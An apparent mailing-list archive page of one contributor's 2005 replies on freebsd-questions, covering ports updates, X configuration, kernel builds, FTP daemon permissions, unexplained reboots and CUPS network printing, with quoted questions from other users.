By reading this mail you agree to the following:
using or giving out the email address and any
other info of the author of this email is strictly forbidden.
By acting against this agreement the author of this mail
will take possible legal actions against the abuse.
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: keeping freebsd uptodate - doubt
On Wednesday 02 February 2005 17:08, Robert Huff wrote: Karol Kwiatkowski writes: Someone else should comment on that, but I think updating (cvsup) ports tree once a week should be often enough to track changes and rare enough to not overload mirrors. The other theory involves more frequent (i,e, daily) but presumably smaller updates. On the gripping hand ... I'm not convinced the mirrors are in danger of overload except possibly at the end of a ports freeze. Robert Huff ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED] Well... in general the daily small updates is a good idea, *if* youre not on a dialup, isdn or slow austrian cable connection, things can get annoying with that... besides the more obvious reason why daily updates on every package isnt a good idea, if you dont want to read UPDATES file daily;) Greetings Oliver Leitner Technical Staff http://www.shells.at -- By reading this mail you agree to the following: using or giving out the email address and any other info of the author of this email is strictly forbidden. By acting against this agreement the author of this mail will take possible legal actions against the abuse. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: How do I do a COLD Reboot on FreeBSD?
I am not completely sure... but from what i know bout a COLD Reboot: just unplug the power cable. that exactly does what a COLD Reboot does. Greetings Oliver Leitner Technical Staff http://www.shells.at On Monday 31 January 2005 15:31, Billy Newsom wrote: I need to do a cold restart. I've looked through a lot of docs, and I can't seem to find this out. The computer I am working with seems to no longer enjoy a warm reboot (like shutdown -r now or reboot) but I'm pretty sure it will do cold reboots fine. Is there a port, or is the shutdown command hackable for this, or what? I remember many computers in bygone years which had this problem. It was pretty common back in the 90's it seems like. Computers would reboot and act weird using CTRL-ALT-DELETE, but work fine when powered off and on. The computer I've got actually fails a memory test during the warm reboot. This freezes it. I have to power cycle the machine. And then, the computer performs a warm restart, bypassing its memory checks! One more power cycle laster, it will boot normally. If I don't do this last reboot, the FreeBSD boot loader or the beginning of the kernel boot crashes very early. It's stable otherwise on a cold reboot. Thanks, Billy ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED] -- By reading this mail you agree to the following: using or giving out the email address and any other info of the author of this email is strictly forbidden. By acting against this agreement the author of this mail will take possible legal actions against the abuse. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: vesa,/i810, Dell gx270 and Intel 82865G Graphics
/etc/X11/xorg.conf or where you placed that file after creation... In the monitor section i think is the place where to set that. On Tuesday 25 January 2005 16:28, Damian Sobieralski wrote: I'd be willing to try that. Forgive my ignorance and inexperience with X- but where would I set that? --- Oliver Leitner [EMAIL PROTECTED] wrote: Ok, this is a longshot... i kinda dont know this problem... but maybe, if you set your clockrate to something lower, its gonna work, look below for a list of your supported hz vs. supported resolutions... i have that info from your logfile pastings... Greetings Oliver Leitner Technical Staff http://www.shells.at On Tuesday 25 January 2005 00:55, Damian Sobieralski wrote: (II) VESA(0): [EMAIL PROTECTED] (II) VESA(0): [EMAIL PROTECTED] (II) VESA(0): [EMAIL PROTECTED] (II) VESA(0): [EMAIL PROTECTED] (II) VESA(0): [EMAIL PROTECTED] (II) VESA(0): [EMAIL PROTECTED] (II) VESA(0): [EMAIL PROTECTED] (II) VESA(0): [EMAIL PROTECTED] -- By reading this mail you agree to the following: using or giving out the email address and any other info of the author of this email is strictly forbidden. By acting against this agreement the author of this mail will take possible legal actions against the abuse. -- By reading this mail you agree to the following: using or giving out the email address and any other info of the author of this email is strictly forbidden. By acting against this agreement the author of this mail will take possible legal actions against the abuse. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: port newbie question
You get something like an options menu if youre trying to install that program? Greetings Oliver Leitner Technical Staff http://www.shells.at On Tuesday 25 January 2005 21:21, Ken Hawkins wrote: configure: error: You have enabled Apache 2 support while your server is Apache 1.3. Please use the appropiate switch --with-apxs (without the 2) -- By reading this mail you agree to the following: using or giving out the email address and any other info of the author of this email is strictly forbidden. By acting against this agreement the author of this mail will take possible legal actions against the abuse. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: port newbie question
try to remove the work subdir from the port directory of your application, that might do the trick... On Tuesday 25 January 2005 21:32, Ken Hawkins wrote: Now that you mention it I did the first time I installed mod_php4 but not now. when I deinstalled mod_php4 I used 'make deinstall distclean' to clear it out. maybe there is a -D switch i can send make so that I can get an interactive menu again? ken; On Jan 25, 2005, at 3:21 PM, Oliver Leitner wrote: You get something like an options menu if youre trying to install that program? Greetings Oliver Leitner Technical Staff http://www.shells.at On Tuesday 25 January 2005 21:21, Ken Hawkins wrote: configure: error: You have enabled Apache 2 support while your server is Apache 1.3. Please use the appropiate switch --with-apxs (without the 2) -- By reading this mail you agree to the following: using or giving out the email address and any other info of the author of this email is strictly forbidden. By acting against this agreement the author of this mail will take possible legal actions against the abuse. -- By reading this mail you agree to the following: using or giving out the email address and any other info of the author of this email is strictly forbidden. By acting against this agreement the author of this mail will take possible legal actions against the abuse. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: port newbie question
try to call ./configure with that switch... ./configure --with-apxs=/path/to/bin/apxs btw, a tip, if youre just installing ports, use something like portinstall rather than doing it all by hand;) Greetings Oliver Leitner Technical Staff http://www.shells.at On Tuesday 25 January 2005 22:34, Ken Hawkins wrote: --with-apxs -- By reading this mail you agree to the following: using or giving out the email address and any other info of the author of this email is strictly forbidden. By acting against this agreement the author of this mail will take possible legal actions against the abuse. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: compiling kernel
$ which perl5 /usr/local/bin/perl5 $ perl5 --version This is perl, v5.8.5 built for i386-freebsd-64int Copyright 1987-2004, Larry Wall Perl may be copied only under the terms of either the Artistic License or the GNU General Public License, which may be found in the Perl 5 source kit. Complete documentation for Perl, including FAQ lists, should be found on this system using `man perl' or `perldoc perl'. If you have access to the Internet, point your browser at http://www.perl.com/, the Perl Home Page. Thats my info on perl5, which tells me, that i prolly installed it through the ports collection (hence /usr/local...), and that its the perl version 5.8.5 from there... maybe you just havent the right perl installed? but i cant put my hand into the fire for this, after all im new to bsd=) Greetings Oliver Leitner Technical Staff http://www.shells.at On Monday 24 January 2005 15:13, Josip wrote: Let me first just say that I'm new to FreeBSD. I'm tring to compile a custom kernel and when I do make buildkernel KERNCONF=NEWKERN I get this: perl5 /usr/src/sys/kern/vnode_if.pl -h /usr/src/sys/kern/vnode_if.src perl5:No such file or directory. Both files are in the specified dir. When I run the above command manualy it execues OK and creates the file vnode_if.h in pwd. What am I doing wrong? Thanks! PS Also if I do make buildkernel KERNCONF=GENERIC I get the same error! ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED] -- By reading this mail you agree to the following: using or giving out the email address and any other info of the author of this email is strictly forbidden. By acting against this agreement the author of this mail will take possible legal actions against the abuse. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: FreeBSD and SANs
Ok, im not fully into the programs involved with SAN technology, maybe you may give a few names of programs youre used to, so i could look for em? Greetings Oliver Leitner Technical Staff http://www.shells.at On Monday 24 January 2005 15:46, Wood, Bradley wrote: Hi I am wanting to access a SAN from FreeBSD. Is there any support for this to you knowledge? If so, can anyone recommend a hardware solution that worked well? Additionally, if anyone is aware of hosting firms that provide and support FreeBSD nodes co-lo managed but also provide per gigabyte pricing on SAN-accessible storage I would be most interested. Thanks Bradley This email may contain confidential material. If you were not an intended recipient, please notify the sender and delete all copies. We may monitor email to and from our network. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED] -- By reading this mail you agree to the following: using or giving out the email address and any other info of the author of this email is strictly forbidden. By acting against this agreement the author of this mail will take possible legal actions against the abuse. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: making freebsd boot faster ...
Wow, thats a long time** nahh, lets think bout this seriously, shouldnt we;) ok, if youre kinda into it, you could try to compile your bsd kernel with as small amount of modules, as possible. also, if youre deeper into it, you could try to rewrite the modules, all in pure asm. on top of that, how bout disabling all daemons that startup on boottime with the box, and in case you have it running, disable your x, cause its just taking up time and we dont really need a gui on bsd, do we? ok, just had to be... Greetings Oliver Leitner Technical Staff http://www.shells.at On Monday 24 January 2005 20:52, faisal gillani wrote: i want my freebsd 5.3 to boot faster there are almost 15 sec my box is taking longer , 5 sec in the boot manager screen 10 sec more in the welcome boot options screen .. ? = *º¤., ¸¸,.¤º*¨¨¨*¤ Allah-hu-Akber*º¤., ¸¸,.¤º*¨¨*¤ __ Do You Yahoo!? Tired of spam? Yahoo! Mail has the best spam protection around http://mail.yahoo.com ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED] -- By reading this mail you agree to the following: using or giving out the email address and any other info of the author of this email is strictly forbidden. By acting against this agreement the author of this mail will take possible legal actions against the abuse. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: let me just throw this out there..
sounds like either powersurgery or you hit the wrong button to me... also, are you the only one with root or power access to it? maybe some coworker stepped over the cable, or some other one thought he could work with a bsd, and just did the shutdown -r now... in case you might wanna check all the logs, also the ones including informations on who connected to that box. Also, its only a thought, but how much space is left on that system, do a df -h and have a closer look... Greetings Oliver Leitner Technical Staff http://www.shells.at On Monday 24 January 2005 22:02, gabriel wrote: Has it ever happened to anyone here where your computer (in this case, my gateway running ipfw+natd) just restarts out of nowhere. It isnt even a crash, it just restarted. Then when the computer came back up nothing was running, dhcpd, natd, cupsd everything was just not running. Weird. -- By reading this mail you agree to the following: using or giving out the email address and any other info of the author of this email is strictly forbidden. By acting against this agreement the author of this mail will take possible legal actions against the abuse. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: let me just throw this out there..
ok, now open some tail -f 's and stay logged in monitoring them continuously, also let a packet capture program like tcpdum run, from that box, and from some other box on your network as well, to see if anything unusual comes through... also check if that reboot happens again, and if so, if it happens at exactly the same time again... And then set all daemons, that didnt startup with the machine to debug mode logging, also look if they have existing startup files (...sh in rc.d, maybe enabled through rc.conf...) just general error searching routines... Greetings Oliver Leitner Technical Staff http://www.shells.at On Monday 24 January 2005 22:14, gabriel wrote: Yeah I'm the only root there, the only user with wheel access isnt even used often for that same reason. I checked the logs and oddly enough, it was all just like reboot, nothing interesting or anything, I checked all the ssh logs and everything looks okay. The weird thing is the deamons not starting, thats just odd. As a matter of fact, the first thing I checked was df -h to see if may be /var or / was full, but no, everything was good. Again.. weird. On Mon, 24 Jan 2005 22:04:57 +0100, Oliver Leitner [EMAIL PROTECTED] wrote: sounds like either powersurgery or you hit the wrong button to me... also, are you the only one with root or power access to it? maybe some coworker stepped over the cable, or some other one thought he could work with a bsd, and just did the shutdown -r now... in case you might wanna check all the logs, also the ones including informations on who connected to that box. Also, its only a thought, but how much space is left on that system, do a df -h and have a closer look... Greetings Oliver Leitner Technical Staff http://www.shells.at On Monday 24 January 2005 22:02, gabriel wrote: Has it ever happened to anyone here where your computer (in this case, my gateway running ipfw+natd) just restarts out of nowhere. It isnt even a crash, it just restarted. Then when the computer came back up nothing was running, dhcpd, natd, cupsd everything was just not running. Weird. -- By reading this mail you agree to the following: using or giving out the email address and any other info of the author of this email is strictly forbidden. By acting against this agreement the author of this mail will take possible legal actions against the abuse. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED] -- By reading this mail you agree to the following: using or giving out the email address and any other info of the author of this email is strictly forbidden. By acting against this agreement the author of this mail will take possible legal actions against the abuse. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: let me just throw this out there..
just to add reasons... run a memtest on that machine, could be a dead ram as well... On Monday 24 January 2005 22:36, gabriel wrote: Oh don't scare me, the machine I'm talking about is my gateway, the last gateway I had died (mobo fried) but I dont remember it doing this though. On Mon, 24 Jan 2005 16:34:50 -0500, Danny [EMAIL PROTECTED] wrote: On Mon, 24 Jan 2005 13:02:32 -0800, gabriel [EMAIL PROTECTED] wrote: Has it ever happened to anyone here where your computer (in this case, my gateway running ipfw+natd) just restarts out of nowhere. It isnt even a crash, it just restarted. Then when the computer came back up nothing was running, dhcpd, natd, cupsd everything was just not running. Weird. Motherboard CPU temp? UPS? ...D -- By reading this mail you agree to the following: using or giving out the email address and any other info of the author of this email is strictly forbidden. By acting against this agreement the author of this mail will take possible legal actions against the abuse. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: Enemy-Territory for Linux run Problem on FreeBSD 5.3 Release
well, you might wanna try to install the following port: graphics/linux_mesa3 i dunno if FreeBSD has such a thing, for now im using the debian.org package search interface for finding which library is part of which archive... Greetings Oliver Leitner Technical Staff http://www.shells.at On Tuesday 25 January 2005 00:04, Kevin Coles wrote: Hello, I am running FreeBSD 5.3 Release on a AMD Athlon 2800+ with Linux compatibility installed. I have just installed Linux-EnemyTerritory from ports and I tried to run it: ./et in /usr/compat/linux/usr/games/et . I then get this error message: ...loading libGL.so.1: QGL_Init: dlopen libGL.so.1 failed: libGL.so.1: cannot open shared object file: No such file or directory failed - CL_Shutdown - RE_Shutdown( 1 ) --- - CL_Shutdown - --- Sys_Error: GLimp_Init() - could not load OpenGL subsystem I have located libGL.so.1 in my /usr/X11R6/lib/ . I read the handbook page on Linux Compatibilty, however that didn't seem to help. Any assistance would be greatly appreciated. Thanks, Kevin Coles ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED] -- By reading this mail you agree to the following: using or giving out the email address and any other info of the author of this email is strictly forbidden. By acting against this agreement the author of this mail will take possible legal actions against the abuse. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: vesa,/i810, Dell gx270 and Intel 82865G Graphics
Ok, this is a longshot... i kinda dont know this problem... but maybe, if you set your clockrate to something lower, its gonna work, look below for a list of your supported hz vs. supported resolutions... i have that info from your logfile pastings... Greetings Oliver Leitner Technical Staff http://www.shells.at On Tuesday 25 January 2005 00:55, Damian Sobieralski wrote: (II) VESA(0): [EMAIL PROTECTED] (II) VESA(0): [EMAIL PROTECTED] (II) VESA(0): [EMAIL PROTECTED] (II) VESA(0): [EMAIL PROTECTED] (II) VESA(0): [EMAIL PROTECTED] (II) VESA(0): [EMAIL PROTECTED] (II) VESA(0): [EMAIL PROTECTED] (II) VESA(0): [EMAIL PROTECTED] -- By reading this mail you agree to the following: using or giving out the email address and any other info of the author of this email is strictly forbidden. By acting against this agreement the author of this mail will take possible legal actions against the abuse. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: Username and password limits
Well, theyre prolly in the sourcecode for the login routine, were talking bout opensource, you know... sorry, i dont know them, and i havent looked em up on my own, but im sure they are there. Greetings Oliver Leitner Technical Staff http://www.shells.at On Tuesday 25 January 2005 01:00, Sean Murphy wrote: Anthony Atkielski wrote: Sean Murphy writes: SM We would like to use first initial last name for usernames on FreeBSD. SM I am use to Solaris which is normally eight and if you have a long SM password on Solaris it doesn't care what you type after 6 characters. Solaris uses only six-character passwords? I guess it cannot claim to be secure, in that case. Sorry eight for password as well. Does any know the limits for FreeBSD? ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED] -- By reading this mail you agree to the following: using or giving out the email address and any other info of the author of this email is strictly forbidden. By acting against this agreement the author of this mail will take possible legal actions against the abuse. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: perl and ports
make and make install clean should do a good thing too, if the sourcecode itself isnt perl, nor any part of it, you should get the results wanted with these commands. please correct me, if im not right, but the Makefile is not pl, right? Greetings Oliver Leitner Technical Staff http://www.shells.at On Tuesday 25 January 2005 01:42, Gert Cuykens wrote: Do we still need perl to make use of ports Just asking because it bugs me. I never use it and it just takes up space and it is a security risc :P I want it gone :) ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED] -- By reading this mail you agree to the following: using or giving out the email address and any other info of the author of this email is strictly forbidden. By acting against this agreement the author of this mail will take possible legal actions against the abuse. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: Partition Size
i dont see the /usr in your calculations... asside of that... it really depends on what youre going to do with the system, or which data its going to be holding... this is absolutely subjective, cant tell you as long as i dont get any further data on the probably size of your data, and where theyll be stored... Greetings Oliver Leitner Technical Staff http://www.shells.at On Tuesday 25 January 2005 01:43, Peterhin wrote: I asked the question the other day, whether to do a standard install or a custom install. This was brought about because I read several sources, including G. Lehey's The Complete FreeBSD I will be doing a Custom install. My question however, is looking at page 70, in The Complete FreeBSD and I quote Use the rest of the space on disk for a /home file system. as long as it's possible to back it up on a single tape. Otherwise make multiple file systems. My question is do I make multiple /home directories.? I have a SATA 80GB hard drive, so as Greg L. suggests 4GB to 6GB for the root file system. 1GB to 2GB for the Swap file. The rest of the disk for the /home file. That would leave me with a /home of approx. 72GB. I would appreciate any thoughts as to how I should do this. The computer will be used as a stand alone workstation, with internet and email access for now. I do have a large number of JPEG files in my existing /home directory. (Linux) -- By reading this mail you agree to the following: using or giving out the email address and any other info of the author of this email is strictly forbidden. By acting against this agreement the author of this mail will take possible legal actions against the abuse. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: Partition Size
On Tuesday 25 January 2005 03:03, Peterhin wrote: I am going by what G. Lehey is suggesting in his book The Complete FreeBSD on pg. 70 he does not recommend a /usr, or a /var file system. i dont see the /usr in your calculations... asside of that... it really depends on what youre going to do with the system, or which data its going to be holding... I am mostly going to use it for my personal files, internet, email and learning UNIX. Well, personal files what files?, how many of them?, got a burner, if so you burn your things away from hd or keep them on the hd? internet: ftp?,http?,anything else?, what kinda connection are you on?, if youre online, how many hours a day you spend on the pc? email: receiving?, sending?, single or multiuser?, multiple accounts?, are you transferring also files like .bmp and .mdb and so on via email? for learning unix: youre going to learn how servers work?, youre going to learn howto use multiple ide's?, multiple gui's?, no gui at all?, you want all docu local on your system, or are you going to use internet resources as well? this is absolutely subjective, cant tell you as long as i dont get any further data on the probably size of your data, and where theyll be stored... Greetings Oliver Leitner Technical Staff http://www.shells.at On Tuesday 25 January 2005 01:43, Peterhin wrote: I asked the question the other day, whether to do a standard install or a custom install. This was brought about because I read several sources, including G. Lehey's The Complete FreeBSD I will be doing a Custom install. My question however, is looking at page 70, in The Complete FreeBSD and I quote Use the rest of the space on disk for a /home file system. as long as it's possible to back it up on a single tape. Otherwise make multiple file systems. My question is do I make multiple /home directories.? I have a SATA 80GB hard drive, so as Greg L. suggests 4GB to 6GB for the root file system. 1GB to 2GB for the Swap file. The rest of the disk for the /home file. That would leave me with a /home of approx. 72GB. I would appreciate any thoughts as to how I should do this. The computer will be used as a stand alone workstation, with internet and email access for now. I do have a large number of JPEG files in my existing /home directory. (Linux) -- By reading this mail you agree to the following: using or giving out the email address and any other info of the author of this email is strictly forbidden. By acting against this agreement the author of this mail will take possible legal actions against the abuse. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: Ftpd
you might want to give proftpd a try... /usr/ports/ftp/proftpd for more info on proftpd you might wanna look on www.proftpd.org they have quite a good documentation on it. this should cover both of your questions... Greetings Oliver Leitner Technical Staff http://www.shells.at On Friday 21 January 2005 01:36, Phillip Neumann wrote: Hello I have problems to understand the way ftpd works. My goal is to create a ftp account where the user can download and upload files, and create directories where they could upload the files. But they should not remove nor rename any file or directory. 1) man chmod talks about a sticky flag. Ive try that. but: (ls -la on the server) drwxr-xr-t 4 usuarioftp usuarioftp 512 Jan 22 19:01 usuarioftp lftp login.../ lftp [EMAIL PROTECTED]:~ rm test rm ok, `test' removed i dont want users to be able to delete any files... 2) I dont understand permitions... i.e. lftp [EMAIL PROTECTED]:~ ls root-file -rw--- 1 rootwheel 0 Jan 22 19:12 root-file lftp [EMAIL PROTECTED]:~ mv root-file why_can_i_do_this rename successful ps aux | grep ftp shows: usuarioftp 26747 1.0 0.3 1928 1404 ?? Ss7:14PM 0:00.01 ftpd: 127.0.0.1: user/usuarioftp: LIST\r\n (ftpd) why can the ftp user rename the root file? how do i make users be able just to 1.- create directories 2.- upload files 3.- downlaod files thank you, ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED] -- By reading this mail you agree to the following: using or giving out the email address and any other info of the author of this email is strictly forbidden. By acting against this agreement the author of this mail will take possible legal actions against the abuse. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: Network Printing - Please put me out of my misery
which printing queue manager are you using? is your printer pingeable (or in any other way reachable) from your bsd box? does your printing queue manager recognize the printer? what do your printer queue manager and daemon logs on the bsd box say? Greetings Oliver Leitner Technical Staff http://www.shells.at On Saturday 22 January 2005 23:29, you wrote: heh, everything BUT printing is working, I've even got it scanning! I cant believe this. I refuse to go to windows for anything, that and the fact that I dont have a place to install windows is what thrives my dispair. On Sat, 22 Jan 2005 23:23:50 +0100, Colin J. Raven [EMAIL PROTECTED] wrote: On Jan 22 at 15:02, Gerard Samuel launched this into the bitstream: gabriel wrote: I'm not sure what you mean by try the jetdirect, PORT STATE SERVICE 9100/tcp open jetdirect === This One Jetdirect is HP's print server You mean the blackbox (JetDirect) sold in better stores is essentially existing within FreeBSD/Ports already? Damn, I was on the *verge* of heading out next week to buy one of those given that I could *not* get my all-in-one HP psc2105 to function at all. I'd given up after days of struggle since the end didn't seem to justify the means. (Windows XP box is pretty much up 24/7 anyway for anyone who needs to print) Regards, -Colin -- By reading this mail you agree to the following: using or giving out the email address and any other info of the author of this email is strictly forbidden. By acting against this agreement the author of this mail will take possible legal actions against the abuse. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: Ftpd
you might want to give proftpd a try... /usr/ports/ftp/proftpd for more info on proftpd you might wanna look on www.proftpd.org they have quite a good documentation on it. this should cover both of your questions... Greetings Oliver Leitner Technical Staff http://www.shells.at On Friday 21 January 2005 02:00, Phillip Neumann wrote: Ok. But i dont would like to switch ftp deamon. I already have ftpd in production thanks, Oliver Leitner wrote: you might want to give proftpd a try... /usr/ports/ftp/proftpd for more info on proftpd you might wanna look on www.proftpd.org they have quite a good documentation on it. this should cover both of your questions... Greetings Oliver Leitner Technical Staff http://www.shells.at On Friday 21 January 2005 01:36, Phillip Neumann wrote: Hello I have problems to understand the way ftpd works. My goal is to create a ftp account where the user can download and upload files, and create directories where they could upload the files. But they should not remove nor rename any file or directory. 1) man chmod talks about a sticky flag. Ive try that. but: (ls -la on the server) drwxr-xr-t 4 usuarioftp usuarioftp 512 Jan 22 19:01 usuarioftp lftp login.../ lftp [EMAIL PROTECTED]:~ rm test rm ok, `test' removed i dont want users to be able to delete any files... 2) I dont understand permitions... i.e. lftp [EMAIL PROTECTED]:~ ls root-file -rw--- 1 rootwheel 0 Jan 22 19:12 root-file lftp [EMAIL PROTECTED]:~ mv root-file why_can_i_do_this rename successful ps aux | grep ftp shows: usuarioftp 26747 1.0 0.3 1928 1404 ?? Ss7:14PM 0:00.01 ftpd: 127.0.0.1: user/usuarioftp: LIST\r\n (ftpd) why can the ftp user rename the root file? how do i make users be able just to 1.- create directories 2.- upload files 3.- downlaod files thank you, ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED] ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED] -- By reading this mail you agree to the following: using or giving out the email address and any other info of the author of this email is strictly forbidden. By acting against this agreement the author of this mail will take possible legal actions against the abuse. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: Ftpd
sorry for the last answer, i copied the wrong one.. I dont remember fully, since i havent used the native ftpd for the past 6 years... but from what i know, the ftpd is pretty limited, so if you dont find a patch or any kind of fix to include, i dont see another way to do it than switching to a somewhat more sophisticated product. shouldnt be that hard to replace in a production environment, just have it setup on an alternate port, and as soon as it does work to your wishes, you kill the ftpd process and start the proftpd one, should cause a downtime of max 10 secs... Greetings Oliver Leitner Technical Staff http://www.shells.at On Friday 21 January 2005 02:00, you wrote: Ok. But i dont would like to switch ftp deamon. I already have ftpd in production thanks, Oliver Leitner wrote: you might want to give proftpd a try... /usr/ports/ftp/proftpd for more info on proftpd you might wanna look on www.proftpd.org they have quite a good documentation on it. this should cover both of your questions... Greetings Oliver Leitner Technical Staff http://www.shells.at On Friday 21 January 2005 01:36, Phillip Neumann wrote: Hello I have problems to understand the way ftpd works. My goal is to create a ftp account where the user can download and upload files, and create directories where they could upload the files. But they should not remove nor rename any file or directory. 1) man chmod talks about a sticky flag. Ive try that. but: (ls -la on the server) drwxr-xr-t 4 usuarioftp usuarioftp 512 Jan 22 19:01 usuarioftp lftp login.../ lftp [EMAIL PROTECTED]:~ rm test rm ok, `test' removed i dont want users to be able to delete any files... 2) I dont understand permitions... i.e. lftp [EMAIL PROTECTED]:~ ls root-file -rw--- 1 rootwheel 0 Jan 22 19:12 root-file lftp [EMAIL PROTECTED]:~ mv root-file why_can_i_do_this rename successful ps aux | grep ftp shows: usuarioftp 26747 1.0 0.3 1928 1404 ?? Ss7:14PM 0:00.01 ftpd: 127.0.0.1: user/usuarioftp: LIST\r\n (ftpd) why can the ftp user rename the root file? how do i make users be able just to 1.- create directories 2.- upload files 3.- downlaod files thank you, ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED] ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED] -- By reading this mail you agree to the following: using or giving out the email address and any other info of the author of this email is strictly forbidden. By acting against this agreement the author of this mail will take possible legal actions against the abuse. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to [EMAIL PROTECTED]
Re: Network Printing - Please put me out of my misery
I did a search on google for that error, and i might have found something that you may wanna try: cp /usr/local/bin/foomatic-rip /usr/local/libexec/cups/filter please tell me if it works=) Greetings Oliver Leitner Technical Staff http://www.shells.at On Sunday 23 January 2005 00:12, gabriel wrote: On Sat, 22 Jan 2005 23:29:57 +0100, Oliver Leitner [EMAIL PROTECTED] wrote: which printing queue manager are you using? Manger? CUPS, Mind you this is my first time trying to setup a printer. is your printer pingeable (or in any other way reachable) from your bsd box? It is pingable, I am able to go into its configuration via http. does your printing queue manager recognize the printer? It appears so, as when a print test page is done, the printer activates, but nothing further. what do your printer queue manager and daemon logs on the bsd box say? These are the last couple of entries: E [22/Jan/2005:11:53:17 -0800] restart_job: job #5 cannot be restarted - no files! E [22/Jan/2005:11:53:27 -0800] PID 65224 stopped with status 3! E [22/Jan/2005:11:58:48 -0800] restart_job: job #5 cannot be restarted - no files! Greetings Oliver Leitner Technical Staff http://www.shells.at Thanks! On Saturday 22 January 2005 23:29, you wrote: heh, everything BUT printing is working, I've even got it scanning! I cant believe this. I refuse to go to windows for anything, that and the fact that I dont have a place to install windows is what thrives my dispair. On Sat, 22 Jan 2005 23:23:50 +0100, Colin J. Raven [EMAIL PROTECTED] wrote: On Jan 22 at 15:02, Gerard Samuel launched this into the bitstream: gabriel wrote: I'm not sure what you mean by try the jetdirect, PORT STATE SERVICE 9100/tcp open jetdirect === This One Jetdirect is HP's print server You mean the blackbox (JetDirect) sold in better stores is essentially existing within 